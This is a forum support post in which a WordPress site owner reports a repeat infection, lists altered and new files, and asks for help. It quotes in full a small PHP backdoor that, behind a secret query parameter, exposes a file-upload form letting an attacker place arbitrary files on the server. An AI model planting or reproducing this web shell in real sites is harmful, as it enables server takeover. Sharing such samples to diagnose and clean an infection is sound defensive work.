Reply To: new infected files

Home › Forums › Support Forum › new infected files › Reply To: new infected files

August 26, 2021 at 9:25 pm #49664

kimberley morton
Member

Hi,

i got infected again and these are the files that has been change index.php, htaccess and these are new files in:
public_html/
.FoxRSF-v1 is empty
.FoxEx-v1 is empty

Wp_content/ new files
u1cep.php has this code in it
<?php error_reporting(0); echo php_uname().”<br>”.getcwd().”<br>”; if($_GET['Fox'] == ‘UWkB3′){$saw1 = $_FILES['file']['tmp_name'];$saw2 = $_FILES['file']['name'];echo “<form method=’POST’ enctype=’multipart/form-data’><input type=’file’ name=’file’ /><input type=’submit’ value=’UPload’ /></form>”; move_uploaded_file($saw1,$saw2); exit(0); } ?>

 
any ideas?